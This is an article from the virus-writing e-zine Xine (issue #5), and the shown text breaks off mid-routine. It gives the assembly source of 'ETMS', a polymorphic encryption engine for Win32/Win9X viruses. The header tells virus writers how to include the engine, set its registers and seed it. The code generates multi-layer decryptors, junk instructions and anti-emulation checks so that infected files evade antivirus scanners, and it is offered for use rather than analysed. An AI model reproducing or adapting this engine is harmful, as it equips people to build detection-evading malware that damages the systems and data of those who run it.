ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Xine - issue #5 - Phile 300 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ; - expressway to my skull - ; - [ETMS] v0.36 - ; - b0z0/iKX - ; ; This is a polymorphic engine for Win32/Win9X viruses. It should be fully ; compatible with any 486+ processor. You should check ver. 0.1 (Xine#4) ; for some more basic informations. ; ; Changes from v0.1: ; - Multiple layers of encryption (random from 2 to 7 layers) ; - New garbage types added (MOVSX, MOVZX, BT family, SET family, ; XADD, SHLD/SHRD, CMPXCHG, BSWAP, XLAT, ENTER/LEAVE) on regs, ; mem, flags (when possible). Direct read/write on stack using ; ESP + offset. ; - Antiemulation structures (code emulation checks, stack consistency ; checks, stack segment play, memory consistency on writes) ; - New ways of incrementing/decrementing pointer/counter, changing ; encryption key, initializing registers and exiting from loop. ; - Some minor parts have been rewritten ; ; Using the poly: ; Just add the ETMS source in your virus, simply: ; include etms.asm ; Set the registers as described below and then call the poly. The poly uses ; some data for internal purposes. This data of course is not needed to be ; carried around with your infected file or whatever. You can just include ; the ETMS source at the end of the file and then skip the bytes that start ; from the label _mem_data_start. Of course you'll need to have that free ; memory placed there at runtime. ; The random seed (the dd at seed) should be initialized at first poly ; run to a value between 0 and 714024. ; ; Calling parameters: ; ECX = Lenght of things to be encrypted ; ESI = Pointer to what we want to encrypt ; EDI = Where to place decryptor and encrypted stuff ; EBP = Offset at which decryptor will run ; EDX = Some free temporary place for the poly ; The two needed space zones (EDI and EDX) should be at least 25kb plus ; the lenght of your code. Just allocate some mem, you're in Windoze baby! ; ; On exit: ; EDI = Pointer to generated code ; ECX = Lenght of generated code (decryptor + encrypted code) ; ; Contacts: ; Email me at cl0wn@geocities.com or query me on irc. ; ; Special greetings: ; I'd like to specially thank StarZero/iKX for the great support and for ; convincing me to write this. Greetings also to pigpen/s0ftpj for persistent ; support irl, crazyness roxor! ;), and also greets to claire for making me ; feel like i tought i could never feel ; ; Misc greetings to: ; The entire iKX and S0ftpj crew and: kernel panic, darkman, gigabyte, ; jackie-, rucker, talena, benny, inty13, uselessa, reptile, dandler, fusys, ; jhb, slagehammer, giorgetto, tankie, griyo and gf, vecna, belfa, del0, ; wintermute, spanska, sepultura, cavallo, milla, ^syren^, claire. ; ; - live fast, die young - ; - written in aug/sept 2000 - ; poly: cld push edi push edi call poly_delta poly_delta: pop eax ; where we are running sub eax,offset poly_delta push ecx push eax lea ebx,[offset v_runnin + eax] o_vrun equ offset v_runnin ; save some bytes since off between ; various data is a 8b mov dword ptr [ebx],ebp mov dword ptr [ebx - (o_vrun - offset orig_dx)],edx mov dword ptr [ebx - (o_vrun - offset layer_nr)],tl_space xor ecx,ecx bit_loop: inc ecx shl ebp,1 jnc bit_loop ; find higher bit with an 1 dec ecx ; for random memory offsets mov byte ptr [ebx - (o_vrun - offset t_memand)],cl pop ebp ; delta how_manylayers: call get_random_al7 ; random number of layers cmp al,6 ; from 2 to 7 jae how_manylayers mov ecx,l_space mul ecx mov dword ptr [ebx - (o_vrun - offset layer_end)],eax pop ecx start_layer: o_tini equ offset r_pointer lea ebx,[offset r_pointer + ebp] ; dest, cnt and source mov dword ptr [ebx - (o_tini - offset t_inipnt)],edi mov dword ptr [ebx - (o_tini - offset v_lenght)],ecx mov dword ptr [ebx - (o_tini - offset v_virusp)],esi mov dword ptr [ebx - (o_tini - offset r_pointer)],010ffffffh mov dword ptr [ebx - (o_tini - offset t_chgpnt)],01000404h xor eax,eax mov dword ptr [ebx - (o_tini - offset t_fromend)],eax mov dword ptr [ebx - (o_tini - offset t_pntoff)],eax mov dword ptr [ebx - (o_tini - offset t_cntoff)],eax mov dword ptr [ebx - (o_tini - offset w_loopbg)],eax mov dword ptr [ebx - (o_tini - offset t_inacall)-2],eax inc al mov dword ptr [ebx - (o_tini - offset t_exitjmp)],eax push edi ; initialize layer data mov ecx,[ebx - (o_tini - offset layer_nr)] lea edi,[ebx - (o_tini - offset enc_space) + ecx + 10h] ; init layers encryptor, regs struct no needed mov al,90h ; virgin encryptor mov dword ptr [ebx - (o_tini - offset w_encrypt)],edi mov ecx,enc_max rep stosb pop edi call rnd_garbage mov ecx,3 mov esi,ebx ; to memory structures mov edx,dword ptr [esi - (o_tini - offset layer_nr)] ; edx has offset in the layer structure init_part: push ecx select_register: call get_register ; get a unused register xchg ebx,ecx select_block: call get_random_al7 and al,011b jz select_block ; select from 01 to 03 dec eax cmp byte ptr [eax+esi],0ffh ; check if that stage already jne select_block ; done mov byte ptr [eax+esi],bl ; save the register for that ; stage or al,al jnz not_pointer mov dword ptr [esi - (offset r_pointer - offset enc_space) + edx + 12],edi ; save offset where the jmp assign_next ; pointer is initialized not_pointer: dec eax jnz not_counter mov dword ptr [esi - (offset r_pointer - offset w_counter)],edi jmp assign_next ; assign inital counter not_counter: call get_random ; get key mov dword ptr [esi - (offset r_pointer - offset enc_space) + edx],eax xchg eax,ecx ; save key for encryptor call get_random and al,1 jz assign_next ; if so use key mov byte ptr [esi+2],20h ; don't use key, just imm jmp next_loop assign_next: ; BL register ; ECX value ; either with mov reg, imm or via stack call get_random shr al,1 jnc do_withmov mov al,068h ; push immediate stosb xchg eax,ecx stosd call rnd_garbage mov al,bl add al,058h ; pop reg32 base stosb jmp next_loop do_withmov: mov eax,ebx ; in bl register or al,0b8h ; mov base stosb xchg eax,ecx stosd ; the value next_loop: mov al,bl call set_used ; mark as unusable so far call rnd_garbage pop ecx loop init_part ; make all init steps ; now some base assignment to a pointer, counter and key (if used) registers ; has been done. here we are gonna change a bit the various registers where ; the various things has been assigned call get_random_al7 and al,011b ; from 0 to 3 moves, could be 0-7 ? jz decryptor_build_start xchg eax,ecx reg_movida: push ecx get_whichone: call select_save ; select which to change (pnt,cnt,key) jc leave_this_out call save_mov_xchg ; change the regs using mov or xchg mov byte ptr [edx],al leave_this_out: pop ecx loop reg_movida decryptor_build_start: ; decryptor loop begins right here lea esi,[offset t_chgpnt + ebp] mov dword ptr [esi - (offset t_chgpnt - offset w_loopbg)],edi call get_random ; select if starting from head or from and ax,0101h ; tail and if counter will dec or inc mov word ptr [esi - (offset t_chgpnt - offset t_fromend)],ax xchg eax,edx ; rnd in edx shl edx,1 ; add a constant to counter? jnc normal_counter call get_random mov dword ptr [esi - (offset t_chgpnt - offset t_cntoff)],eax normal_counter: cmp byte ptr [esi - (offset t_chgpnt - offset r_pointer)],05h ; no bp + off je reget_size_op shl edx,1 ; select if use only pointer or jc reget_size_op ; pointer + offset call get_random ; select random offset mov dword ptr [esi - (offset t_chgpnt - offset t_pntoff)],eax ; if using get offset reget_size_op: call get_random mov edx,eax and eax,0fh ; select math operation and size or eax,eax ; of operand jz reget_size_op ; byte word dword ; ror 1 6 b ; sub 2 7 c ; xor 3 8 d ; add 4 9 e ; rol 5 a f ; no_rorrrpr: cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],03 ; if not ax,cx,dx,bx then can't be byte jb can_use_all ; as key cmp al,6 ; is byte? get another jb reget_size_op can_use_all: xor ecx,ecx mov cl,10 ;9 cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h je no_keychanges shr edx,8 ; edx has rnd and edx,011b mov byte ptr [esi - (offset t_chgpnt - offset t_chgkey)],dl add ecx,edx ; add nr of key changes no_keychanges: cmp al,0bh jae ok_counts sub ecx,4d ; if with words 4 inc/dec less sub word ptr [esi],0202h cmp al,06d jae ok_counts dec ecx ; for bytes even less dec ecx sub word ptr [esi],0101h ok_counts: push eax call rnd_garbage get_nextseq: call get_random_al7 cmp al,4 ja get_nextseq xchg eax,edx cmp byte ptr [esi+edx],0 ; need more ? je get_nextseq dec byte ptr [esi+edx] shl edx,2 ; offset = * 4 sub edx,(offset t_chgpnt - offset o_table) pop eax push eax push ecx push esi mov ecx,dword ptr [esi+edx] add ecx,ebp call ecx ; call the routine to do it pop esi pop ecx pop eax loop ok_counts ; finished decryption loop, needs just the jump backwards call rnd_garbage mov al,0e9h stosb xor eax,eax xchg eax,dword ptr [esi - (offset t_chgpnt - offset w_loopbg)] ; the jump back to start of sub eax,04h ; the decryptor and enable sub eax,edi ; overwriting on loop :) stosd call rnd_garbage call rnd_garbage lea esi,[offset v_lenght + ebp] push edi ; write the offset of the exit jump mov edx,dword ptr [esi - (offset v_lenght - offset t_chkpos)] sub edi,edx mov dword ptr [edx-4],edi pop edi ; now decryption loop generation is finished mov byte ptr [esi - (offset v_lenght - offset r_used)],10h ; can use all regs (except ESP) again call rnd_garbage ; unencrypted one, some more here call rnd_garbage push edi call rnd_garbage ; encrypted garbage pop ecx neg ecx add ecx,edi ; how much encrypted garbage mov edx,ecx sub edi,edx add ecx,dword ptr [esi] shr ecx,2 ; so it will be enough for b/w/d enc inc ecx shl ecx,2 movzx eax,byte ptr [esi - (offset v_lenght - offset t_prejmp)] add ecx,eax ; decs before cmp, so we reach equality pop eax neg eax add eax,edi ; lenght of decryptor add eax,edx ; total displacement for this layer push eax ; so we can correct mem refs sub eax,edx add eax,dword ptr [esi - (offset v_lenght - offset v_runnin)] ; running offset push esi add esi,dword ptr [esi - (offset v_lenght - offset layer_nr)] mov ebx,dword ptr [esi - (offset v_lenght - offset enc_space) + 12] pop esi cmp byte ptr [esi - (offset v_lenght - offset t_fromend)],00h pushf je no_adding add eax,ecx ; from end no_adding: sub eax,dword ptr [esi - (offset v_lenght - offset t_pntoff)] ; - pointer offset if is there mov dword ptr [ebx+1],eax ; set initial pointer mov ebx,dword ptr [esi - (offset v_lenght - offset w_counter)] inc ebx mov eax,dword ptr [esi - (offset v_lenght - offset t_cntoff)] add eax,ecx mov dword ptr [ebx],eax cmp byte ptr [esi - (offset v_lenght - offset t_countback)],01h je not_negcnt neg dword ptr [ebx] not_negcnt: mov ebx,edi ; pointer on code to encrypt add edi,edx ; + encrypted garbage popf je no_adding2 add ebx,ecx ; add lenght if from end no_adding2: ; save layer data (cnt and pnt) in its entry push esi add esi,dword ptr [esi - (offset v_lenght - offset layer_nr)] mov dword ptr [esi - (offset v_lenght - offset enc_space) +4],ecx mov dword ptr [esi - (offset v_lenght - offset enc_space) +8],ebx pop esi push esi mov esi,dword ptr [esi - (offset v_lenght - offset v_virusp)] push ecx sub ecx,edx rep movsb ; copy what to encrypt pop edx pop esi pop eax ; this layer lenght to sum mov ecx,dword ptr [esi - (offset v_lenght - offset layer_nr)] corr_addr: cmp ecx,tl_space ; correct the adresses of the lower layers je corr_end add ecx,l_space add [esi - (offset v_lenght - offset enc_space) + ecx + 12d],eax add [esi - (offset v_lenght - offset enc_space) + ecx + 8d],eax mov ebx,[esi - (offset v_lenght - offset enc_space) + ecx + 12d] add dword ptr [ebx + 1],eax ; pointer from decryptor jmp corr_addr corr_end: mov ecx,dword ptr [esi - (offset v_lenght - offset layer_end)] cmp dword ptr [esi - (offset v_lenght - offset layer_nr)],ecx je finished_layers sub dword ptr [esi - (offset v_lenght - offset layer_nr)],l_space pop ecx ; initial EDI push ecx push ecx push ecx sub ecx,edi ; calculate new lenght to encrypt neg ecx pop edi push ecx mov esi,dword ptr [esi - (offset v_lenght - offset orig_dx)] xchg esi,edi mov edx,edi push esi rep movsb ; copy to temp space and use that one pop edi ; as source for next layer mov esi,edx pop ecx jmp start_layer ; construct next encryption layer finished_layers: ; now in reverse order ; create each encryption layer mov eax,dword ptr [esi - (offset v_lenght - offset layer_end)] sub esi,(offset v_lenght - (offset enc_space + 10h) - tl_space) push edi enc_nl: mov ecx,enc_max ; the stored regs lea edi,[ebp + offset enc_space_final] rep movsb mov ecx, [esi - enc_max - 16] ; key value mov edx, [esi - enc_max - 12] ; counter mov ebx, [esi - enc_max - 8] ; pointer sub esi, (l_space + enc_max) ; on next layer ; layer chunk, most of it will be overwritten by the one in the structure enc_max equ 24h ; lenghts ; 6 = max encryption operation ; 4 = max 4 inc/dec counter ; 4 = max 4 inc/dec counter ; 3 * 6 = max 3 * 6 byte key change operations ; 4 = check on edx + jump short enc_space_final: db enc_max dup (90h) ; here the encryptor will be placed jmp enc_space_final exit_space_final: add eax,l_space ; next layer structure cmp eax,(tl_space + l_space); last layer to do? jne enc_nl ll_end: pop ecx ; the final edi pop edi ; calling edi sub ecx,edi ; total lenght ret ; poly finished ; - ETMS return point poly_name db '[ETMS] v0.36 -b0z0/iKX-' put_encloop_2: push ecx xor ecx,ecx inc ecx inc ecx jmp short put_encloop put_encloop_1: push ecx xor ecx,ecx inc ecx put_encloop: ; ecx nr of bytes push eax xchg edi,dword ptr [w_encrypt+ebp] ; in EDI where we are in enc ; and save dec position copy_it: stosb shr eax,8 loop copy_it xchg dword ptr [w_encrypt+ebp],edi ; save next and restore dec pnt pop eax pop ecx ret o_table: o_counter dd offset ch_counter o_pointer dd offset ch_pointer o_key dd offset ch_key o_mate dd offset ch_mate o_exitjmp dd offset ch_exitjmp ch_exitjmp: ; compare and exit jump for dec loop xor eax,eax inc eax mov ecx,dword ptr [esi - (offset t_chgpnt - offset t_cntoff)] or ecx,ecx jnz must_compare ; is + a constant ? get_checker: call get_random and eax,0fh cmp al,09d ja get_checker must_compare: shr al,1 pushf mov ah,byte ptr [eax + offset chk_counter + ebp] ; get comparer add ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)] mov al,81h popf jc store_d00 inc eax inc eax stosw xor al,al stosb jmp make_jumps store_d00: stosw xchg eax,ecx cmp byte ptr [esi - (offset t_chgpnt - offset t_countback)],01h je not_negcnt1 neg eax not_negcnt1: stosd make_jumps: mov ax,840fh ; jz long stosw stosd mov dword ptr [esi - (offset t_chgpnt - offset t_chkpos)],edi done_cond: xchg edi,dword ptr [esi - (offset t_chgpnt - offset w_encrypt)] mov ax,0d20bh stosw mov eax,edi sub eax,dword ptr [esi - (offset t_chgpnt - offset layer_nr)] sub eax,(offset enc_space)+10h+enc_max add eax,ebp ; must go over the jump neg eax mov ah,74h xchg al,ah stosw xchg edi,dword ptr [esi - (offset t_chgpnt - offset w_encrypt)] ret ch_counter: ; decrement/increment counter cmp byte ptr [esi - (offset t_chgpnt - offset t_exitjmp)],00h je no_pntchgndd inc byte ptr [esi - (offset t_chgpnt - offset t_prejmp)] no_pntchgndd: mov ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)] mov al,byte ptr [esi - (offset t_chgpnt - offset t_countback)] mov cl,0ah ; edx + always dec in encryptor jmp mk_incdec ch_pointer: ; increment/decrement pointer mov ah,byte ptr [esi - (offset t_chgpnt - offset r_pointer)] mov al,byte ptr [esi - (offset t_chgpnt - offset t_fromend)] mov cl,03h ; using ebx in encryptor ; jmp mk_incdec mk_incdec: ; al = 0 means dec, 1 means inc ; ah = register to use ; cl = oring for encryptor shl al,3 or al,40h or al,ah push eax push eax ; will need this one for encryptor call get_random_al7 ; how enc/dec stuff ? shr al,1 jnc lbl_hh pop eax jmp set_enc_id_pre ; do with inc/dec lbl_hh: shr al,1 mov al,083h ; common prefix stosb pop eax jc do_with_sub ; do with add (either +1 or +(-1)) or ah,0c0h and al,8h ; was decrementing ? jnz use_minus1 jmp use_plus1 do_with_sub: or ah,0e8h and al,08h ; was incrementing jz use_minus1 use_plus1: xor al,al ; 01h inc al jmp set_enc_id_pre2 use_minus1: xor al,al ; 0ffh dec al set_enc_id_pre2: xchg ah,al stosb xchg ah,al set_enc_id_pre: stosb set_enc_id: pop eax and al,(NOT 0111b) or al,cl jmp put_encloop_1 ; put in encryptor and go away ch_key: ; change key register cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h je exit_keychange get_modifier: call get_random_al7 mov cl,al mov ah,byte ptr [eax + offset key_changers + ebp] mov al,81h ; add/sub/xor base cmp cl,3 jb no_rrrr mov al,0c1h ; rol/ror base cmp cl,5 jne no_rrrr mov al,0f7h no_rrrr: push eax reget_ksize: call get_random ; select if byte/word/dword and al,011b jz reget_ksize cmp cl,05h ; inc dec just on dw and dd jbe isntincdec cmp al,01h je reget_ksize isntincdec: cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],3 jbe canall cmp al,01b ; byte keychange only for ax,cx,dx,bx je reget_ksize canall: mov ch,al mov dl,ah ; random stuff pop eax cmp ch,01h jne no_decbyte dec al shr dl,1 jc no_decbyte add ah,04h ; work on high byte no_decbyte: cmp ch,02h jne no_wordprefix push eax mov al,66h stosb call put_encloop_1 pop eax no_wordprefix: cmp cl,06h pushf jb no_incdecch ; inc/dec has just one byte opcode dec edi mov al,byte ptr [edi] no_incdecch: popf push eax jb no_nopneeded mov al,ah or al,1 ; ecx key in enc loop call put_encloop_1 ; for inc/dec jmp short after_store no_nopneeded: or ah,1 ; key is ECX in enc loop call put_encloop_2 after_store: pop eax or ah,byte ptr [esi - (offset t_chgpnt - offset r_regkey)] stosw cmp cl,05 ; inc/dec/not doesn't need any key jae exit_keychange call get_random cmp cl,03 jae just_one_bk ; ror/rol just one byte key cmp ch,01h je just_one_bk ; check dimension of key modifier stosb call put_encloop_1 shr eax,8h cmp ch,02h je just_one_bk stosw call put_encloop_2 shr eax,10h just_one_bk: stosb call put_encloop_1 exit_keychange: ret ch_mate: ; creates the decryption math operation xor edx,edx mov ecx,5h type_sel: cmp eax,ecx jbe ok_regs inc edx sub eax,ecx jmp type_sel ; get type and size.. in EDX size, in EAX type ; edx = 0 for byte, 1 for word, 2 for dword ok_regs: cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h lea esi,[offset _math_imm + ebp] je without_key add esi,(offset _math_key - offset _math_imm) without_key: dec eax ; type - 1 push esi push eax shl eax,1 ; each type is a word add esi,eax lodsw ; ax = mathop word cmp dl,1 jne not_word push eax mov al,066h stosb call put_encloop_1 pop eax not_word: or dl,dl jnz not_byte dec al not_byte: pop ebx ; type - 1 pop esi ; push ebx push eax neg ebx add ebx,4 ; get opposite math operation shl ebx,1 add esi,ebx lodsw lea esi,[offset r_regkey + ebp] cmp byte ptr [esi],20h je ok_regskey cmp al,0d3h je ok_regskey add ah,08h ; since ECX is used as key ok_regskey: or dl,dl jnz not_byterev dec al not_byterev: add ah,03h ; in enc loop using EBX call put_encloop_2 pop eax mov cl,byte ptr [esi - (offset r_regkey - offset r_pointer)] cmp cl,03h ; eax-ebx ja upper_ones add ah,cl jmp ok_register_p upper_ones: add ah,06h cmp cl,06h ; esi je ok_register_p inc ah cmp cl,07h ; edi je ok_register_p add ah,03eh ; ebp ok_register_p: pop ecx ; type-1 cmp dword ptr [esi - (offset r_regkey - offset t_pntoff)],0 je not_plusoff add ah,80h not_plusoff: stosw xor eax,eax cmp byte ptr [esi],20h ; using key? je ok_register_k or cl,cl je check_rr cmp cl,4 jne not_rol_ror check_rr: cmp byte ptr [esi],1 ; is key CX (cl) je ok_register_k mov al,10h ; if not put just immediate sub byte ptr [edi-2],12h mov ebx,dword ptr [esi - (offset r_regkey - offset w_encrypt)] sub byte ptr [ebx-2],12h push ecx mov bl,20h xchg bl,byte ptr [esi] ; won't use key reg anymore in the call unset_used ; future, so use for garbage pop ecx jmp short ok_register_k not_rol_ror: mov al,byte ptr [esi] shl eax,3 ; * 8 add byte ptr [edi-1],al ; key register ok_register_k: cmp byte ptr [esi - (offset r_regkey - offset r_pointer)],05h jne not_usingbp mov byte ptr [edi],00h inc edi not_usingbp: mov eax,dword ptr [esi - (offset r_regkey - offset t_pntoff)] or eax,eax jz no_offsetadd stosd no_offsetadd: cmp byte ptr [esi],20h jne no_key_needed push esi add esi,dword ptr [esi - (offset r_regkey - offset layer_nr)] mov eax,dword ptr [esi - (offset r_regkey - offset enc_space)] pop esi or cl,cl je byte_key cmp cl,4 je byte_key or dl,dl je byte_key stosb call put_encloop_1 shr eax,8 dec dl jz byte_key stosw call put_encloop_2 shr eax,10h byte_key: stosb call put_encloop_1 no_key_needed: ret rnd_garbage: push ecx push eax call get_random and eax,0fh ; max - 1 inc eax ; not zero xchg eax,ecx garbager: ; ecx how many push edx push ebx garbager_loop: push ecx get_op_type: call get_random ; how many possible types and eax,garbage_mask cmp eax,garbage_number ja get_op_type mov ecx,[(eax*4)+offset garbage_offsets+ebp] add ecx,ebp call ecx ; call garbage routine pop ecx loop garbager_loop mov eax,dword ptr [t_pushed+ebp] cmp eax,000005h ; if not in a call, not in a jump and ja stack_is_ok ; pushed <=5 or eax,eax jz stack_is_ok inc byte ptr [t_inacall+ebp] cmp al,01h ja direct_addesp call do_pop_nocheck jmp stack_is_ok direct_addesp: push eax ; then correct stack mov ax,0c483h ; add esp,nr_dd * 4 stosw pop eax call force_popall stack_is_ok: pop ebx pop edx pop eax pop ecx ret do_push: cmp byte ptr [t_pushed+ebp],05h ; max dwords on the stack ja exit_pusher inc byte ptr [t_pushed+ebp] call get_random ; 4 types of pushing and al,011b jz push_register ; normal push reg dec al jz push_immediate_dd ; push immediate double dec al jz push_immediate_by ; push immediate byte mov ax,35ffh ; push immediate from memory stosw call get_address jmp pre_exit_dd push_immediate_by: mov al,6ah stosb shr ah,1 jc zero_or_menouno bswap eax jmp pre_exit_pusher zero_or_menouno: ; very usual pushes xchg ah,al and al,01b ; so we will get 0 or -1 dec al ; to LARGE 0 or to LARGE -1 jmp pre_exit_pusher push_immediate_dd: mov al,68h stosb call get_random pre_exit_dd: stosd ; normal push as double jmp exit_pusher push_register: call get_random_al7 add al,050h pre_exit_pusher: stosb exit_pusher: jmp exit_ppc do_pop: cmp byte ptr [t_pushed+ebp],00h je return_nopop do_pop_nocheck: call get_random shr al,1 jnc popintoreg2 mov ax,0c483h ; add esp, stosw get_number: call get_random_al7 jz get_number cmp al,byte ptr [t_pushed+ebp] ja get_number force_popall: sub byte ptr [t_pushed+ebp],al shl al,2 ; dd are pushed, so * 4 jmp store_ngo2 popintoreg2: call get_register add cl,058h ; pop in a register xchg eax,ecx dec byte ptr [t_pushed+ebp] store_ngo2: stosb return_nopop: jmp exit_ppc call_subroutines: cmp word ptr [t_maxjmps+ebp],0h ; don't nest too much nor jne just_exit_call ; put pushes/pops in subs and ; we can't know wassup in ; conditional jumps and such inc byte ptr [t_inacall+ebp] call get_random_al7 cmp al,01h ; 00h and 01h push jbe do_push cmp al,05 ; 02h - 05h pops (more probable so final stack jbe do_pop ; correction should be needed less often) ; 06,07 do a call mov al,0e8h stosb stosd ; place for offset push edi call rnd_garbage pop ebx mov al,0e9h stosb stosd ; jump offset push edi call krappo_gen ; random bytes call rnd_garbage push ebx neg ebx add ebx,edi xchg eax,ebx pop ebx mov dword ptr [ebx-4],eax ; call offset call rnd_garbage ; this is the called "subroutine" call get_random ; more ways of getting back from subroutine, shr al,1 ; either with normal ret or by correcting the jnc normal_ret ; stack by popping or by adding to esp shr al,1 jnc popintoreg mov ax,0c483h ; add esp, stosw mov al,4 jmp store_ngo popintoreg: call get_register add cl,058h ; pop base xchg eax,ecx jmp store_ngo normal_ret: mov al,0c3h ; ret stosb bswap eax ; some random and eax,07h cmp al,4 jb do_the_int3s jne no_ccs random_crap: call krappo_gen jmp no_ccs do_the_int3s: xchg eax,ecx mov al,0cch ; int3, usual after subroutines in win32s rep stosb store_ngo: stosb no_ccs: call rnd_garbage pop ebx ; jump offset push ebx neg ebx add ebx,edi xchg eax,ebx pop ebx mov dword ptr [ebx-4],eax exit_ppc: dec byte ptr [t_inacall+ebp] just_exit_call: ret maths_immediate_short: stc jmp maths_immediate_1 maths_immediate: clc maths_immediate_1: pushf call get_random ; (0 to 7) * 8 and al,0111000b add al,0c0h ; the base popf push eax pushf call get_register add al,cl mov ah,81h ; prefix popf pushf jnc not_a_shortone inc ah inc ah not_a_shortone: xchg ah,al stosw call g_dimension popf jnc not_a_shortone2 mov cl,01h not_a_shortone2: call put_immediates pop eax cmp al,0f8h ; is a CMP jne not_compare make_jmp_after_cmp: call get_random and eax,01b ; long or short jump add al,06h ; short jump jmp make_jump not_compare: ret cdq_jmps_savestack: call get_random_al7 sub al,3 jc exit_c_j_ss xchg eax,ecx mov al,byte ptr [ecx+offset change_jump+ebp] cmp cl,1 ja not_cdq_cbw test byte ptr [r_used+ebp],0101b ; EAX and EDX for cbw,cwd,cdq,cwde jnz exit_c_j_ss stosb inc edi call g_dimension dec edi jmp exit_c_j_ss not_cdq_cbw: cmp cl,4 je pushandmov add cl,4 ; this is used for dimension jmp do_that_fjump ; do as for conditional ones pushandmov: call select_save jc exit_c_j_ss xchg eax,ebx mov al,50h ; push xor ch,ch ; so it won't be erased from stack xchg ch,byte ptr [t_pushed+ebp] push ecx call unset_used ; mark that as unused one add al,bl ; push the reg stosb call rnd_garbage add al,08h ; pop opcode stosb pop ebx mov byte ptr [t_pushed+ebp],bh mov byte ptr [r_used+ebp],bl exit_c_j_ss: ret gen_one_byters: call get_random_al7 make_jump: mov cl,al mov al,byte ptr [eax+offset one_byters+ebp] ; get onebyter cmp cl,05h jbe not_jump do_that_fjump: cmp byte ptr [t_maxjmps+ebp],3 ; don't nest too much je just_exit inc byte ptr [t_maxjmps+ebp] cmp al,0e9h ; for unconditional ones skip some jae skip_unc ; things cmp cl,07h jne not_longjump push eax mov al,0fh ; long prefix stosb pop eax not_longjump: push eax call get_random and al,0fh mov ch,al pop eax add al,ch skip_unc: stosb ; type of jump stosb ; first off cmp cl,07h jne not_longone dec edi stosd not_longone: push edi call rnd_garbage pop ebx mov eax,edi sub eax,ebx ; offset of jump dec byte ptr [t_maxjmps+ebp] cmp cl,7 je long_jumper cmp eax,7fh ; if not too big then use it jb good_jump mov edi,ebx ; else forget everything dec edi dec edi ret good_jump: mov byte ptr [ebx-1],al ret long_jumper: mov dword ptr [ebx-4],eax ret not_jump: stosb just_exit: ret mem_assign: mov ax,058bh jmp mem_common mem_mathops: call get_random and al,111000b ; (0 to 7) * 8 add al,03h ; base mem_common: push eax call get_register shl cl,3 ; *8 add cl,05h ; base for eax mov ah,cl stosw call g_dimension ; now offset call get_address stosd pop eax cmp al,3bh ; is a cmp je make_jmp_after_cmp ; if so force a compare ret diff_movz: ; movsx,movzx,bt,btc,btr,bts,bswap call get_random ; 1 bit dim, 2 bit m/b mov cl,al mov dh,ah test cl,1100000b jnz no_wpf mov al,066h stosb no_wpf: mov al,0fh stosb mov al,0b6h shr cl,1 jc some_bt shr cl,1 jc zero_extend add al,08h zero_extend: shr cl,1 jc dest_dw ; generate movsx/movzx on d or w inc al dest_dw: stosb call get_random_al7 mov dl,al add al,0c0h call get_register shl cl,3 add al,cl and dh,011b pushf jnz just_regs sub al,0c0h-05h sub al,dl just_regs: stosb popf jnz justret_r call get_address stosd justret_r: ret some_bt: shr cl,1 jc do_bswap add al,04h ; btX second byte stosb and cl,011000b add cl,0e0h mov al,cl call get_register add al,cl stosb shr dh,1 pushf ; make jmp after or not and dh,01fh ; not much sense doing > 32 mov al,dh stosb popf jc make_jmp_after_cmp ret do_bswap: call get_register mov al,0c8h ; bswap add al,cl stosb ret mov_registers: call get_random_al7 ; random source add al,0c0h mov ah,08bh call get_register ; useful dest shl cl,3 add al,cl xchg ah,al stosw jmp g_dimension maths_registers: call get_random and al,0111000b add al,03h ; base mov ah,0c0h ; suff push eax call get_register ; dest shl cl,03h add ah,cl xchg eax,ecx ; save temp in ecx call get_random_al7 ; all regs xchg eax,ecx ; reg in ECX and restore EAX add ah,cl stosw call g_dimension pop eax cmp al,3bh je make_jmp_after_cmp ret rotating_imms: call get_random_al7 cmp al,0110b ; 0f0 doesn't exist je rotating_imms shl al,3 ; *8 add al,0c0h call get_register add al,cl mov ah,0c1h xchg al,ah stosw call g_dimension xor ecx,ecx inc cl jmp put_immediates notneg_register: call get_random shr al,1 mov ax,0d0f7h jc not_add add ah,08h not_add: call get_register add ah,cl stosw ; jmp g_dimension g_dimension: ; EDI after generated garb reget_dim: call get_random_al7 cmp al,2 jae no_change word_change: mov ecx,dword ptr [edi-2] mov byte ptr [edi-2],66h ; the prefix mov dword ptr [edi-1],ecx inc edi mov al,2 jmp post_no_change no_change: mov al,4 post_no_change: xchg eax,ecx ; in ECX needed immediates ret imm_assign: call get_register mov al,0b8h ; base add al,cl stosb inc edi call g_dimension dec edi ; jmp put_immediates put_immediates: ; cl how many call get_random put_imm_part: stosb shr eax,8 loop put_imm_part ret inc_dec_reg: call get_random and al,01000b ; 0 or 8 add al,40h ; incdec generation call get_register add al,cl stosb inc edi call g_dimension dec edi ret xchg_regs: mov al,087h ; xchg eax,eax call get_register mov ah,cl call get_register common_test_xchg: shl cl,3 add ah,cl add ah,0c0h stosw jmp g_dimension test_regs: call get_random xchg eax,ecx and cx,0707h mov ah,ch mov al,085h ; test eax,eax jmp common_test_xchg temp_save_change: call get_random_al7 sub al,6 ; 1/4 probability, since this couldn't jc skip_changer ; come too often call select_save jc skip_changer push ecx call save_mov_xchg xchg eax,ecx ; in al new register mov al,byte ptr [edx] ; imp_reg shl al,3 xchg eax,ecx add al,cl or al,0c0h xchg al,ah stosw ; mov important_reg,some_reg pop ebx mov byte ptr [r_used+ebp],bl ; restore regs status skip_changer: ret select_save: call get_random_al7 sub al,5 ; get from 0 to 2 jc select_save xchg eax,edx add edx,offset r_pointer add edx,ebp mov al,byte ptr [edx] cmp al,0ffh ; not already assigned? je exit_bad cmp al,20h ; no key signature, if so skip je exit_bad call is_used ; maybe is already saved on stack or jnz return_good ; such? exit_bad: stc ret return_good: mov cl,byte ptr [r_used+ebp] clc ret save_mov_xchg: xchg eax,ebx call get_register ; get an usable register xchg eax,ecx call set_used ; set this one as used call unset_used ; and the previous as unused mov ah,087h ; xchg reg,reg base push eax xor ecx,ecx call get_random ; select if using mov or xchg shr al,1 jc use_mov_first mov cl,4 ; + 4 becames mov reg,reg base use_mov_first: shr al,1 ; when just saving this won't be used jc use_mov_after ; select whichone for restore aswell mov 